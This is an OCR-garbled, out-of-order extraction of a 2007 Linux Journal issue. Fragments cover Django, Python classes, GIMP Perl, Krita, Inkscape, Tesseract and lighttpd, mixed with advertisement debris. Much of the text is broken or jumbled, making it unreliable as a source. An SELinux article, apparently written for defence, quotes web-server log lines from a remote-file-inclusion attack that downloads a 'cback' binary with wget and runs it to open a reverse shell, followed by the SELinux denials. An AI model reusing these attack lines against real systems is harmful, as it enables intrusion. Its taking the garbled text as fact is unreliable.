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1. Role Based Single Sign on with Perl and Ruby Single sign on dictated by user roles with Perl and Ruby ROBB SHECTER Portland Oregon is a city that takes pride in managing its resources wisely So maybe it s natural that this article describes how to make computer resources and legacy CGI scripts much more manageable This is accomplished by an elegant easy to build system that provides benefits in three different areas For starters it gives programmers a one line solution for controlling access to any script Meanwhile on the back end it provides administrators with a friendly Web based application for managing access Finally and maybe most important the system creates an experience for end users that s logical and simple For exam ple people are required to log in only once when they first attempt to access a protected script Afterward they ll have uninterrupted access to any other protected areas if they re authorized to enter Here s a little bit of context to see why this kind of system might be needed work at Lewis amp Clark College nestled in 137 deeply wooded acres While sit on one end of campus with the aroma of wet Douglas Fir trees drifting in through the window our Web appli cations are increasingly being used by staff members in new ways and in far flung locations We have an excellent LDAP based authentication system that s managed by IT People can log in to dozens of different applications from man
2. DAVE TAYLOR The last step in our script development is to let more than one image be displayed on a line because We now can reduce thumbnails as needed whether they re wide or tall Displaying Image Directories in Apache Part IV The final steps in our thumbnail script scale and align the images within a pretty table This is the fourth of four columns on how to write a shell script to make the display of directories full of images more useful than the default Apache 1s 1 style output In the first column explained how to drop a script in place to improve the Apache directory listing capability and in the latter two columns showed how to work with images within a shell script including a shell function that extracted height and width from most image file types ended that column with a teaser highlighting that if you really want to work with images on the command line there s no better package than ImageMagick You ll want it for this month s installment www imagemagick org if it s not already installed on your server Rewriting the Image Size Function The first stab at the image size function figuresize leaned on the file command to figure out image size This works for GIF and PNG images but it turns out that the file command can t figure out the image size for JPEG images alas So we need to rewrite it using the ImageMagick identify script instead Here s a sample pruned outp
3. Tord War 1 3 Break any multicolumn text into smaller single column images En Apply Threshold Background 4 figure 3 tif ir ls E 127 4 255 Ww Preview Help iReset ll X Cancel Y OK Figure 1 Threshold dialog in The GIMP Slide the triangle left and right to choose what pixels should be white and what pixels should be black recommend using a graphics program such as The GIMP to get a feel for what needs to be done The most important step is the first one as it drastically will improve the accuracy of the OCR The GIMP has a great function that easily can remove lighting variations in all but the worst cases First go to the Image gt Mode menu and make sure the image is in RGB or Grayscale mode Thresholding will not work on indexed images Next select the menu Tools Color Tools Threshold This tool allows you to drop pixels that are lighter than a specified cutoff value and it converts all others to black A pop up Figure 1 lets you select the threshold Make sure image preview is turned on in order to get an idea of how it affects the image Slide the threshold thumb left and right to choose the cutoff between white and black You may not be able to get rid of all of the uneven lighting without corrupting the text Find a good looking result for the text then erase the rest of the noise with a paint tool The transition from the first part to the second part in Figure 2 sho
4. configure without libtiff The build is done as expected make Configure for version 1 03 also indicated that make install was broken managed to figure out the basics of installation by trial and error First copy the executable from ccmain tesseract to a directory on your path for example usr local bin cp ccmain tesseract usr local bin Then copy the tessdata directory and all of its contents to the same place as the executable for example usr local bin tessdata cp r tessdata usr local bin tessdata Finally make sure your shell PATH includes the former usr local bin How to Use First you need access to a scanner or scanned pages Sane is available with most Linux distributions and has a nice GUI interface called xsane I discuss more on scanning near the end of this article Tesseract has no layout analysis so it cannot detect multicolumn formats or figures Also the broken libtiff support means it can read only uncompressed TIFF This means you must do a little work on your scanned document to get the best results Fortunately the steps are very simple the most common ones can be automated and the results are well worth it This is what you need to do 1 Use a threshold function to drop lighting variations and convert the image to black and white 2 Erase any figures or graphics optional but if you skip this step the recognizer will give a bunch of garbled text in those areas
5. img gimp file load inputimagename inputimagename img2 gimp file load inputimagenameSecond inputimagenameSecond layer getMergedLayer img2 if 1ayer has alpha i layer add alpha img2 gt selection_all layer gt edit_copy newlayer Gimp layer new img Gimp image width img2 Gimp image height img2 RGBA IMAGE appended image data 100 NORMAL MODE newlayer drawable fill TRANSPARENT FILL Gimp image add layer img newlayer 1 Gimp image lower layer img newlayer shared MonkeyIQGIMP module so that all scripts easily can toggle layer visibility too Let s look at one more simple script before moving on The gener ation of prelight images for mouse over events can be automated by adjusting the brightness or contrast of each layer The script and its arguments are shown in Listing 9 A slight bump in brightness say to 5 or 10 is usually enough to make a quick prelight image for many images The dimensions of images also can be set aside for use in PHP Web pages 66 july 2007 www linuxjournal com floater newlayer edit paste 1 floater gt anchor imgw Gimp gt image width img imgh Gimp gt image height img img2w Gimp gt image width img2 img2h Gimp gt image height img2 img gt resize imgw gt img2w imgw img2w imgh img2h imgh img2h SELL imageOutput img
6. lighttpd Is in the House In April 2007 Netcraft s monthly survey news netcraft com archives 2007 04 02 april 2007 web server survey html showed a new entry in its top five Web servers lighttpd www lighttpd net At that point Lighty or LightTPD clocked in at 1 4 million sites not including the reported Apache sites hosted by OpenSourceParking opensourceparking com that Netcraft claims may actually have been running lighttpd Says Netcraft The opensourceparking com headers say Apache but have the Date Server headers last a pattern which is identical to the lighttpd response and entirely unlike a typical Apache response The etag is also not in Apache format and matches the lighttpd format news netcraft com archives 2007 04 04 open source parking spoofing headers to benefit apache html Jan Kneschke began work on lighttpd in 2003 when he wanted to develop a fast and lightweight alter 14 july 2007 www linuxjournal com LIGHTTPD native to Apache Since then a com munity has grown around lighttpd which has its own home with a blog a wiki and a forum at lighttpd net The description there goes lighttpd is a secure fast compliant and very flexible Webserver that has been opti mized for high performance environments It has a very low memory footprint com pared to other Webservers and takes care of CPU load Its advanced feature set FastCGI CGI Auth Output Compression URL Re
7. gt setup hd0 One last tip don t forget that when you upgrade a distribution such that it installs a new kernel you ll have to view the new boot grub menu lst file for that distribution and use it as the guide to modify mnt boot grub menu lst to use the updated kernel Nicholas Petreley B Linux Journal pays 100 for reader contributed tech tips we publish Send your tips and contact information to techtips linuxjournal com Al m Rate igabit Ethernet Tae Pu 4 a D a Y TT x m E hl IS 1 11 ABMS R B y B y FA 580 4190 A U COLUMNS AT THE FORGE REUVEN M LERNER One of the biggest rivals to Rails during the last year or two has been Django a Python based framework with many of the same goals as Rails First Steps with Django If you want the power of Rails with Python instead give Django a jingle When first began developing Web applications did most of my work in Perl and my programs were invoked via CGI My preferences have shifted somewhat over the years first toward component and template based systems such as Mason and Zope and then toward all encompassing frameworks such as OpenACS Most recently l ve been spending time using Ruby on Rails As a longtime Perl programmer I ve been pleasantly surprised by both the Ruby language and the Rails framework But of course Ruby isn t the only popular language
8. A ela 4 8 7m a Langerm Ta Hermal 100 F Layer 1 x 2 LS RUM i al niles Tom Le Mo Section y de AOA 6 68 integer channel sROB built in tems invernal Figure 2 The Krita interface is designed for graphics professionals Figure 3 Krita supports full thumbnail previews bases well covered something that GIMP hasn t yet mastered Though not managed by a graphics pro fessional Krita s design shows a deep famil larity with graphics processing engineering It starts with much more sophisticated drawing and selection tools than have been available in Linux before from guided line drawing that aids precision when working without a Wacom tablet to a magnet selector for modi fying existing selections on the fly The num ber of drawing tools is rivaled only by 36 july 2007 www linuxjournal com Photoshop and there are a few nifty enhancements in this area where Krita out does the venerated veteran from Adobe It s not above pinching some of Photoshop s bet ter innovations either Adjustment layers are finally here as are layer grouping and layered effects stacks a distinct advantage over the GIMP CinePaint paradigm No longer must one apply a single adjustment make sure it s right and then move on With the power of adjustment lay ers and filter stacks the changes are applied to the image only on export which makes mid stream tinkering far more efficient
9. Ajax e March 2007 A nice break from Ajax EE La chica Pare ery ri lege Lier Doses o inrer ELIT NEEDLE la brace calar e Ajax Overdose e April 2007 At the Forge Dojo Events First let me say that love your magazine and Ajax look forward to each issue and enjoy e May 2007 Ajax everywhere almost every article yes even you Marcel Is Ajax really a subject that needs to be cov My gripe is that your magazine focuses far ered in every issue This is still Linux Journal too much on Ajax Don t get me wrong I not Ajax Journal right Aren t there other non Web development topics that can be covered in At the Forge Marc We ll do our best to cover different ground However Ajax is an extremely popular approach to providing users with a rich client experience Its platform neutrality and the broad set of Linux tools available make it an excellent Linux topic Ed Ajax Appreciated just wanted to tell you your coverage of Ajax Ruby and programming languages hot topics in the industry is just awesome am glad bought a subscription from you guys am a Linux hobbist Web developer graduating senior from ASU Polytechnic and just wanted to let you know you are doing an awesome job Karol Don t Just Beat Me Teach Me l ve read your magazine off and on for years and even had a subscription a few years back excellent magazine p Ajax Examples Are Wrong Installed Size 26936 have tr
10. Krita also has a few tricks of its own such as the Filter Brush where one can paint a filter s effect directly onto the image in specific places rather than being forced to use the powerful but tedious process of masking different layers in great detail p The guesswork of filter selection is also a thing of the past Rather than bringing up standalone filter dialogs and tweaking them while watch ing the preview as one does in GIMP users may use the Filter Gallery which lists all installed filters provides full access to their parameter Uls and includes thumbnail pre views of their default settings Display Color Managemeri Pertorma nce side by side with one another not the little window covering a piece of the image such as one gets in many GIMP previews mind you but a full thumbnail preview Figure 3 This work flow streamlining is great and doubtless will make its way back into other applications as Krita gains notice Krita excels in scripting support as well the Python and Ruby engines behave more like Adobe s Action scripts than like GIMP s and are pleasantly non crash prone As a cherry on top of this already tempting sundae Krita has a number of color profiles to chose from a must in today s world of multifaceted graphics acquisition Different cameras scanners and graphics programs use different color profiles for different reasons as do differ ent printers and destination formats Thes
11. Pupeno Fern ndez has been programming since at what age is a child capable of siting in a chair and reaching a keyboard He has experimented with more languages than can be listed on this page His Web site is at pupeno com and he always can be reached unless you are a spammer at pupeno 2 pupeno com Resources Python Tutorial docs python org tut tut html Dive Into Python www diveintopython org Python Documentation www python org doc PyGTK www pygtk org PyQt www riverbankcomputing co uk pyqt Django www djangoproject com Zope zope org Python s Super Considered Harmful fuhm net super harmful www linuxjournal com july 2007 79 INDEPTH Image Processing with QccPack and Python How to use QccPack to manipulate images with Python in code and from the Python prompt SUHAS A DESAI Limited bandwidth and storage space are always a challenge Data compression is often the best solution When it comes to image pro cessing compression techniques are divided into two types lossless and lossy data compression QccPack developed by James Fowler is an open source collection of library routines and utility programs for quantization and reliable implementation of common compression techniques Libraries written for QccPack have a clean interface So far these libraries can be upgraded without having to modify the application code QccPack consists of a static linked library libQccPack a and supports
12. Resources Code for the Article sourceforge net project showfiles php group_id 16036 GIMP Perl Module ftp gimp org pub gimp plug ins v2 0 perl A Tutorial for GIMP Perl Users imagic weizmann ac il dov gimp perl tut 2 0 GIMP Basic Perl www gimp org tutorials Basic Perl Marc Lehmann s Gimp www goof com pcg marc gimp html API Documentation www goof com pcg marc pdb index html 68 july 2007 www linuxjournal com name gimp layer get name layer my x y gimp drawable offsets layer w gimp drawable width layer h gimp drawable height layer fh new FileHandle if fh open outfilename w Si dte f ose vm writedata fh name x y w h ous prm EO NES fh close gimp image delete img register monkeyiq gimp convert PF_STRING inputimage Name of image to export IPESSTRING outputiile Namesopssmibeeuossdveiebadabtadintio s HRESSTRINGS anputlayepeo Name of layer to export optional JE amp monkeyiq_ gimp get dimension gimp monkeyiq move visible layers as shown in Listing 13 The dimensions of images also can be set aside for use in PHP Web pages The gimp monkeyiq get dimension creates a bunch of PHP variables set to interesting image metadata Listing 14 The writedata function sets the PHP variables in the output file for the desired input layer Not only are the width and height av
13. USA 5 00 CAN 6 50 0 71486 03102 A HPC Cluster Solutions Enterprise and High Performance Computing Under Your Control Appro is by combining the latest technology that meets the demands of the enterprise HPC market e 3 J X a e For more information please visit y pro com or call Appro Sales at 800 927 5464 AMD Opteron Processors Manage Any Data Center Anytime Anywhere ON E Avocent builds hardware and software to access manage and control any IT asset Avocent in your data center online or offline keeping it and your business always on The Power of Being Thereo Visit us on our Remote Control Tour For locations near you go to www avoce nt com remotecontrol Avocent the Avocent logo and The Power of Being There are registered trademarks of Avocent Corporation 2007 Avocent Corporation JULY 2007 Issue 159 CONTENTS A P px ko J n y 7 3 Tu kN 11 gt es TA E is Y EFES ii ease 1 EA BE ERE pi te an ih oc si 2 E AE i e Hom 3 a i THT Dat d M AE HW EI 3 Y i ea A A f y n E ee bak ENU m it tz 3 dri rd Ee ixi2itrEG A d ail Sie ae E e Ble wey d hag 1 Eta y E Jl A n dket 2 j Meu ace dA Le NEZ p a 1 y LS dl T i Ex a Tp Tr ay du MEE a AR C y FEATURES DREAMWORKS ANIMATION SHREK THE INTERVIEW WITH PAVEL THIRD LINUX FEEDS AN OGRE KANZELSBE
14. 0 Stopped at 0x619A8B function init module wrf quilt file module io quilt f line 1180 x PGDBG Message Quet ies 1180 OPEN unit 27 file namelist input form formatted status old l i M Eile Options MPI COMM WORLD Comm size Comm rank Pending sends Pending recieves Unexpected messages MPI COMM WORLD collective Comm_size Comm_rank Pending sends Pending recieves Unexpected messages s MPI COMM SELF AI Comm size Comm rank Pending sends Pending recieves Unexpected messages MPI COMM SELF collective Comm size 1 Comm rank Pending sends Pending recieves Unexpected messages lt F quilt iniciais WWw pgroup com cdk The Portland Group Inc is an STMicroelectronics company PGI and CDK are trademarks or registered EM pu source MI trademarks of STMicroelectronics Other brands and names are the property of their respective owners l FEATURE Vector Graphics and Inkscape generate and maintain with minimum effort many versions of the same banner diagram or any other graphic that includes text each in a different language The only thing to keep in mind is always to leave enough space around that text to make sure that it fits no matter what the language is After that follow the procedure described on the Creating International Graphics Web page see Resources It s Just XML after All The SVG standard is another applicatio
15. Hello world Hello world Hello world 2227 This is shorter and arguably more readable What is while useful for then It is useful any time you don t really know when you are going to stop the loop Here are some examples BW Reading characters from a file until you encounter the End of File EOF E Reading commands from a user until the user enters the quit command E Reading temperatures from a sensor until the temperature is too high Mi Reading events from a user interface until the user presses the X button at the top of the window to close the program There s a pattern forming here doing something until something else happens That s what while is good for Some time ago when we didn t have as many choices in program ming languages and we ended up using C most of the time the while construct tended to be much more useful than the for construct But today with a powerful for construct nice functions such as range and the possibility of putting an iterator around anything for is being used much more than while Here s one last example for your enjoyment gt gt gt for 1 in Hello World primb L 4 9 9 H e 1 1 o W o r 1d Conditionals In the fourth line of some previous sample code if post is public www linuxjournal com july 2007 75 INDEPTH we have another new construct an if This allows programs to make choices based on data It needs a boolean value and a piece of code The code i
16. This means that when we create our Django project we aren t yet ready to display any code to the world Rather we need to create a project and at least one application within that project if we are to see any dynamic output Let s create a site named mysite in the Django tutori als so use the same convention here django admin py startproject mysite When I installed Django on my Ubuntu box it placed the administration program django admin py in usr bin Your system might have it in a different location so you might need to modify your PATH to get the above to work as written Starting a project in this way creates a directory named mysite containing four Python source files each with a py extension B A blank initpy _ file whenever a directory contains init py _ Python sees the entire directory as a single package So long as the file exists even if it s blank our project will be considered a package Bi settings py this file does not contain executable code but rather configuration settings for the Django instance For example we soon will modify this file to indicate the location and type of relational database that we re using BI urls py this is where we will associate URLs to function ality using regular expressions to match URLs If you re coming from the Rails world this is similar in many ways to config routes rb manage py this is a catchall management program for a Django site handling
17. came by default with their operating system and businesses tend not to want to ignore potential customers As an example consider a site that wants to have a tiled back ground image oval buttons and a side panel with a drop shadow and images that are not confined to sitting evenly inside the side panel Part of the Web site is about showing images of various products which are to sit nicely shadowed and or antialiased on top of the background or another random pixel offset on the site A single bit alpha mask is not useful for displaying many types of images on top of a complex background image This is because the edges of some images need to be blended explicitly to the color of the background in order not to look jagged With a single bit alpha mask the background color needs to be very stable for the entire perimeter of the image in order to look acceptable As an example show here how easy it is to make things such as the composition shown in Figure 1 with the final image without the layer perspective as in Figure 2 This example is of a cake image placed Figure 2 Compositing a Cake with the Background and Side Panel A single bit alpha mask is not useful for displaying many types of images on top of a complex background image half on the side panel and half on the background of the page as though the user has haphazardly left the cake slightly aside for now The layers shown could be stored in different xcf files for
18. monitor or printer a vector graphic has no intrinsic resolution nor limits to it Vector graphics can be zoomed shrunk or rotated as much as you wish or as many times as you wish without any degradation even when printed For an example take a look at Figure 1 which shows two zoomed versions of the same drawing side by side a raster drawing and a vector drawing The vector one on the left is much crisper than the other isn t it Another big plus of vector image files is that because they are sequences of instructions the size of the image does not affect that of the file saving both disk space and download time on slow connections Last but not least creating or processing a series of commands is a task that can be delegated to a computer program easily and effi ciently SVG files can be mass generated or modified in almost any way without human intervention The SVG 1 1 specification also 48 july 2007 www linuxjournal com bm yes Ge posa foc pep E Of Bs ees 0n fed Dee eo Bee 242 aaa oss EE TAE Figure 1 A clean vector image left compared to a raster image right pixi lated when expanded describes 16 filter primitives that make it possible to obtain very com plex objects as well as highly realistic effects The main reason the world hasn t gone all vectorial yet is that bitmaps remain much better at reproducing the subtle differences in color and contrast that are present in photographs
19. tion Finally under the Misc tab you ll find primarily visual settings such as the appearance of the mouse cursor in your videos For the KDE users out there Marios Andreopoulos has created reKordmydesktop a feature rich and fantastic front end to recordMyDesktop This program is a single Kommander script and as such it doesn t require a com plicated installation but you do need to have Kommander installed Save the file to your desktop or any location you please and click on it The reKordmydesktop dialog Figure 5 appears ready to do your bidding As you can see the GUI does add some great flexibili ty starting with a definable location and name for your OGG file Everything you need is covered under these three tabs although most of what you ll want is on the Common Settings tab Let s look at a few of those start ing with sound To record audio make sure you click the Capture Sound check box You can specify a time delay to your recordings you can screencast reKordmydesktop so you may want to minimize it first when capturing the 24 july 2007 www linuxjournal com whole desktop or set a time limit on the recording look in the Chrono section By default reKordmydesktop cap tures the entire desktop To select a window click the Grab Window button on the left and click on the pro gram window you want to capture again you even can click reKordmydesktop if you choose To start recording simply click the Rec
20. to black and white This line will do it for you mencoder color video avi o black white video avi vf hue 0 0 oac copy ovc lavc If you are interested in trying out various values for hue and saturation you can invoke MPlayer with mplayer vf hue color video avi Press and hold the 5 or 7 keys to reduce hue or saturation Girish Venkatachalam gt gt Not So Tech Tips What follows are some very basic tips For those who already know this information apologize if this insults your intelligence However I ve looked over many a shoulder of very competent Linux users who still don t seem to know about these standard commands and techniques If you re one of them you may find this information extremely useful cd Almost everyone knows you can type cd to get to the current user s home directory This isn t a function of cd but it takes advantage of the fact that the tilde is shorthand for your home directory The command cd dash instead of tilde is a function of cd however It takes you to the last directory where you were working before you switched to the current directory It also prints out the old directory path I myself have known about this command since the dark ages but still curse myself for forgetting to use it and typing out a long path name Don t Delete That Service Link Most Linux distributions still use a directory such as etc rc2 d to store a number of symbolic links to boot startup files
21. Chair Furniture d f INTE self gt gt gt d Chair self backrest_height 30 gt gt gt d backrest_ height 30 def set backrest hejght self height gt gt gt d material self backrest_height height Traceback most recent call last File lt stdin gt line 1 in Now you know what goes inside parentheses in the class AttributeError Chair object has no attribute material header the name of the class being inherited which also is gt gt gt known as a super class or parent class Let s play a bit with this so you can see what happens bet that is not what you expected Let s take a closer look at Cyberspace is an information feeding frenzy Stay off the menu Black Hat brings you the most knowledgable and respected figures in information and computer security Six days Thirty Classes Ninety presentations Briefings Training USA 2007 July 28 August 2 Caesars Palace Las Vegas www blackhat com ee diamond platinum gold Silver i PEREA ArcSiehtsr DRTIFY T reouFORT Lancope ncirele slilit BICENZIC IOActive e E MF P RED LAMEDA A cisco EDAM LC E core NORMAN radware MINT serem j a i OQUALYS rx e Microsoft coge Qoo EStilSecur Agee Pwatcufine emmm AD nA INDEPTH what happened We created a Chair the method Chair init was run setting _backrest_height Oh Nobody called Furniture _init_ _ which never set _material There are two s
22. I m developing on Gentoo Linux with the GNOME desktop don t like over complicated IDEs so I m using a simple text editor with syntax highlighting and a set of command line tools to compile and debug Pixel A few of them are fpc compiler gcc binutils gdb and valgrind LJ I understand that you live in Slovakia What can you tell us about the Linux related activity in your country compared to the rest of Europe Are there other interesting projects or developments there that are worth mentioning PK From what I ve seen on the Internet Linux is becoming very popular here mostly in schools There are many communities try ing to help Linux newcomers translating Ultra Dense Powerful Reliable Datacenter Management Simplified 15 Deep 2 Xeon Opteron or P4 w RAID options Customized Solutions for Linux BSD W2K High Performance Networking Solutions e Data Center Management e Application Clustering e Network and Storage Engines Rackmount Server Products e 1U Starting at 499 C3 1GHz LAN 256MB 20GB IDE e 2U with 16 Blades Fast Deployment amp more iron IP SYSTEMS CALL 56 july 2007 www linuxjournal com Iron Systems Inc 540 Dado Street San Jose CA 95131 1 800 921 IRON various Linux programs and so on know some very clever software developers in my country but they re mostly involved in the gaming industry and in other commer cial 3 D projects LJ What future f
23. LINUX FOR SUITS DOC SEARLS The old sphere aint the same And the problem isn t just incivility and flamage Black Holes Beyond Blogging s With death threats and other terrorism blogging ain t what it used to be On the evening of March 27 2007 was a guest speaker at an evening class called Marketing 203 at a local community college was there to talk about blog ging Partway into my talk the teacher operating the classroom s built in computer put Technorati up on a screen in front of the room I told him to click on one of the Top Search links There in the first item at the top of the screen was my name associated somehow with death threats For me that marked the beginning of the end of Blogging as Usual And don t think I m alone The original death threats were issued by an anony mous coward in the lively comments section of the blog by a veteran game developer book author and speaker at tech conferences I ll call her Barbara I am not naming names other than my own because this column will find its way to the Web and don t want search engines to associate any of those names with the controversy that followed or further smudge any party s already muddied reputation The original comments didn t bother Barbara too much but she found her fears moving over an edge when a number of especially nasty posts appeared at blogs authored and or owned by a group that includes prominent blog
24. PGI CDK MPI Debugger MF Profiler w PGDBG The Portland Group Command Progi nio groups 1 Process Gud Summary APR 28 IMA Process D Data Window Control pioni module i quilt Process ven Fi Tags i wert ru REW mei IF mpi inited THEN CALL wrf error fatal3 module io quilt b 1256 frame module io qui ENDIF mido ay qua r CALL mpi init ierr CALL wrf set dm communicator MPI COMM WORID CALL wrf termio dup CALL MPI Comm rank MPI COMM WORLD mytask ierr CALL MPI Comm Size MPI COMM WORLD ntasks ierr H M gt FT O0 Des oO IF mytask EQ 0 THEN OPEN unit 27 file namelist input form formatted status old nio groups 1 nio tasks per group 0 READ 27 namelist quilt CLOSE 27 ENDIF E o co co NO L3 c H oo 99 F3 3 PS ES 3 LO S OS 3 3 3 a pO PEPE a Es EA aS En ae 1 spell H f co co los iO tnt soduls sr quilt line 1180 mn roduls 10 gultt f Add eps O6lIdgazh E Dueppedasndes LL mirri Poll aug ich Jag wur wii yl rame mapu Hu pun d I pgdbg all 0 0 Breakpoint at 0x619A81 function init module wrf quilt file module io quilt f line 1179 pgdbg all 0 0 Stopped at 0x619B5A function init module wrf quilt file module io quilt f line 1181 pz T T4 Es P E x 1179 IF mytask EQ O THEN _ E E i pgdbg all 0 gt
25. a large number of administrative tasks such as start ing stopping and synchronizing the project Once again don t make the mysite directory visible to the world via the Web Rather we will expose parts of this directory to the world through our Django project If you re coming from the world of Ruby on Rails this might seem like a very small number of files to begin with Out of the box Rails creates a large number of files and directories But this is because we haven t really created any applications yet only the package or con tainer if you will that will control and use the application The package does have its own HTTP server though in the same way that Rails comes with one We can test that things are in order at least at the package level by starting up that HTTP server python manage py runserver This is the first time that we use manage py but it is far from the last The server which will be running only on the localhost address 127 0 0 1 indicates that the basic framework is up and running and that you now should move ahead with the database definitions On the server side we get the following messages Validating models O errors found Django version 0 97 pre using settings mysite settings Development server is running at http 127 0 0 1 8000 Quit the server with CONTROL C The first two lines indicate that our models the files with which we describe the contents of our relational databa
26. amp cmd cd 20 tmp gt ywget 20172 16 31 57 cback chmod 20744 20cback cback 2010 200 238 39 208080 echo 20YYY echo HTTP 1 1 404 294 Mozilla 4 0 compatible MSIE 6 0 Windows NT 5 1 INar log nttpdaraccess log 10 9 23325 04 May 2006 07 52 25 0400 KGET cvs index2 php REQUEST option com content amp REQUEST Itemid 1 amp GLOBALS amp mosConfig absolute path whttp 172 16 31 57 cmd gif amp cmd cd 20 tmp gt ywget 20172 16 31 57 cback chmod 20744 20cback gt cback 2010 200 238 39 208080 echo 20YYY echo HTTP 1404 292 7 5 Mozilla r4 0 compatibles MSIE 6 0 Windows NT 5 1 ZvarzLlog httpd access Log 10 9 733 25 04 May 2006 07 52 27 0400 POST xmlrpe php HITPZT 1 404 288 Mozilla 4 0 compatible MSIE 6 0 Windows NT 5 1 www linuxjournal com july 2007 85 INDEPTH Listing 3 SELinux Audit Messages May 4 07 52 24 targetbox kernel audi t 1146743544 9T70 2275 ave denied ioctl for pid 9399 comm wget name error log dev dm 0 in0o 1624085 scontext user_u system_r httpd_sys_script_t tcontext root object_r httpd_log_t tclass file May 4 07 52 24 targetbox kernel audit 1146743544 911 2276 avc denied ioctl for pid 9399 comm wget name error log dev dm 0 ino 1624085 scontext user u system r httpd sys script t tcontext root object_r httpd_log_t tclass file May 4 07 52 27 targetbox kernel audit 1146743547 060 2277 avc denied ex
27. change the name of the class itself but running a search and replace on the file is a good idea when making that kind of change You d want to change the documentation as well The real problem with this solution is hard to understand and to explain it has to do with multiple inheritance For more informa tion read Python s Super Considered Harmful Personally I ve been using this second solution without any problems You ll see that all classes defined inherit from object That is the most basic class the root or top class It is a good idea to make all your classes inherit from it unless they inherit from another class If you don t do that your class will be an old style class and some things won t work such as super It is important to know this because you may encounter old style classes anywhere and you should be prepared AMD Opteron Expert Included Falko provides expert dedicated technical support for one of the most comprehensive server and storage product offerings in the industry He appreciates the Rackform nServ K501 because he knows AMD s Direct Connect Architecture ensures that all processor cores will work together with maximum efficiency and optimized memory performance now And its 2 Dual Core AMD Opteron 2000 Series processors are engineered for seamless upgradeability to Quad Core later Falko knows that the evolution of technology is constant He is impressed that the Rack
28. color profiles The number of drawing tools is rivaled only by Photoshop and there are a few nifty enhancements in this area where Krita outdoes the venerated veteran from Adobe a bang up job and often eclipse their GIMP counterparts Krita also is still in the refinement stage and its code is not well optimized It has a high system overhead it looks pretty but it drags on the resources of even a well equipped system The adjustment layers don t require multiple copies of the same image in order to stack filters so the load is lighter Even so the interface can lag a lot Unlike both GIMP and CinePaint Krita doesn t yet have any animation capabilities to say nothing of a flipbook Finally it doesn t yet support LDR bracketing to HDR a consider able drawback though this feature is on the to do list for future releases Still all told Krita is an excellent pack age It is very capable as is and it shows a lot of potential Conclusion Although GIMP is useful it s showing its age and the time is coming soon when it either will adapt or be shuffled to the wayside by more capable tools For the photographer working in Linux as well as for the high depth CGl artist both Krita and CinePaint are welcome tools Each is strong where the other is weak As both programs continue to develop we can expect great things from them they have both proven themselves to be well designed packages with deliberate
29. dE KT xoxo Ives 5 wise Saul lim izj 23222 ae E Im bead eis E aMi Ld 1 I DUET bebe de E aod ede EE 4 PUE mal ey Mt Li A Hu La rg EFE abad da ea D 2l da lo s a ada da a UP P Gs O oL us P gima S de p Layer Path 22 nodes in layer Layer 1 Glick selection In to 577 Lisa Figure 4 The Same Intersection with a Different Boolean Operation www linuxjournal com july 2007 49 FEATURE Vector Graphics and Inkscape tions such as intersection union difference exclusion and others Simply select the objects to combine and choose the desired operation from the Path menu Figures 3 and 4 show what you get when you intersect an oval and a star Gradients Solid colors can be dull don t you agree The fact that vector draw ings are generated through computer instructions doesn t mean that their components must all be in solid colors To create smooth color transitions that is gradients from one side of an object to another select it and open the Fill and Stroke dialog from the Object menu That window allows you to apply several gradient types and place the corresponding stops the exact start and end points between which the color transition must take place Gradients can be applied to any object including text Clone Everything Inkscape has buttons or menu entries to copy paste and duplicate objects Sometimes however what you want is a clone Inkscape clones are sp
30. detection I m losing interest in Knoppix though as Ubuntu spin offs are taking over the world Fedora is a fine distro too but can t make myself use it Maybe I m doing something wrong and you can clue me in but can use apt to download install and upgrade hundreds of packages in the time it takes to use Yum to install update a dozen packages And forget about the graphical Yum updater More often than not just assume it s hung and kill it And although never seem to encounter dependen Cy issues on Debian and Ubuntu based distros still run into problems with Fedora PCLinuxOS a souped up version of Mandriva is great but it s currently behind the times Maybe I ll rave about the next stable release OpenSUSE is a great distro too but I refuse to use it as long it s tainted by associa tion with Novell and its deal with Microsoft It s not like it offers anything compelling over dozens of alternatives ended my love affair with Gentoo quite a while ago when it lost its direction and became a source of out of date or broken packages However the Gentoo based Sabayon Linux will knock your socks off and make them dance around the room Sabayon is comprehensive in scope and is the only distro that automatically set up the fancy 3 D environment without my having to tweak anything The only thing don t like about Sabayon is that get errors when I try to update software with the Gentoo portage system get the
31. dynamic linking with libQccPack so Entropy coding wavelet transforms wavelet based sub band cod ing error coding image processing and implementations of general routines can be done through the library routines available with QccPack Optional modules are available for the QccPack library that you can add later QccPackSPIHT is one optional module for the QccPack library that provides an implementation of the Set Partitioning in Hierarchical Trees SPIHT algorithm for image compression The QccPackSPIHT module includes two utility executables spihtencode and spihtdecode to perform SPIHT encoding and decoding for grayscale images QccPack and QccPackSPIHT are available for download from the QccPack Web page on SourceForge Red Hat users can find source and binary RPMs at that Web site Users of other systems will need to compile the source code QccPack has been complied successfully on Solaris SPARC Irix HP UX Digital UNIX Alpha and Digital RISC Ultrix QccPack from the Python Prompt You can use QccPack to train a VQ codebook on an image and then to code the image with full search VQ followed with arith metic coding Take a 512 512 grayscale Lenna image for exam ple The following sample procedure assumes you are at the Python interpreter prompt Step 1 convert from the PGM image file format to the DAT format file by extracting four dimensional 2x2 vectors of pixels gt gt gt imgtodat ts 4 lenna pgm gz lenna 4D dat gz
32. e Up to 32GB 667 533MHz ECC Registered DDR2 SDRAM e nVIDIA nForce Pro Chipset with 64 Bit Support e nVIDIA nForce Pro Chipset with 64 Bit Support e nVIDIA nForce Pro Chipset with 64 Bit Support e 650W Redundant Hot Swap Power Supply e 950W Triple Redundant Hot Swap Power Supply e 1350W Redundant Hot Swap Power Supply e 5 Year Warranty e 5 Year Warranty e 5 Year Warranty Starting at Starting at Starting at The Ultimate Linux Server too fast for our benchmarks we recommend the Aberdeen line of servers without reservation Linux Journal Aberdeen Stonehaven A261T terrific for video serving or other storage intensive tasks PC Magazine Aberdeen XDAS Aberdeen surpasses HP markedly higher scores AberNAS 128 boasts outstanding features Network Computing Aberdeen AberNAS 128 powerhouse performance staggering eye opening the highest AM D WebBench numbers to date PC Magazine Aberdeen Stonehaven A261S Opteron AMD the AMD Arrow logo AMD Opteron combinations thereof are trademarks of Advanced Micro Devices Inc For terms and conditions please see www aberdeeninc com abpoly abterms htm 1j019 888 297 7409 www aberdeeninc com linux LETTERS gt I m writing because you have an old story from 1998 written by Jason Kroll read it a few times tried to contact Jason but his e mail has changed from the one you listed that s no surprise the article is ni
